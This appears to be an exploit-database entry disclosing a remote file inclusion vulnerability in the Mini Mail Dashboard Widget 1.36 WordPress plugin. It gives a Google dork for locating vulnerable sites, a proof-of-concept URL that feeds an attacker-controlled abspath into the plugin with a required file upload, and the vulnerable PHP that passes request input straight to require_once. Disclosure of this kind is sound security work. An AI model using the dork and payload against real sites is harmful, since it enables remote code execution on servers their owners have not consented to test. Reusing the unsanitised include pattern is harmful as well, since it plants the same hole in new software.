WordPress Plugin Mini Mail Dashboard Widget 1.36 - Remote File Inclusion

# Exploit Title: Mini Mail Dashboard Widget Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/mini-mail-dashboard-widget
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/mini-mail-dashboard-widget/download/
# Version: 1.36 (tested)

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PoC
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http://SERVER/WP_PATH/wp-content/plugins/mini-mail-dashboard-widgetwp-mini-mail.php?abspath=RFI (requires POSTing a file with ID wpmm-upload for this to work)

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Vulnerable Code
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if (isset($_FILES['wpmm-upload'])) {
	// Create WordPress environmnt
	require_once(urldecode($_REQUEST['abspath']) . 'wp-load.php');

	// Handle attachment
	WPMiniMail::wpmm_upload();
}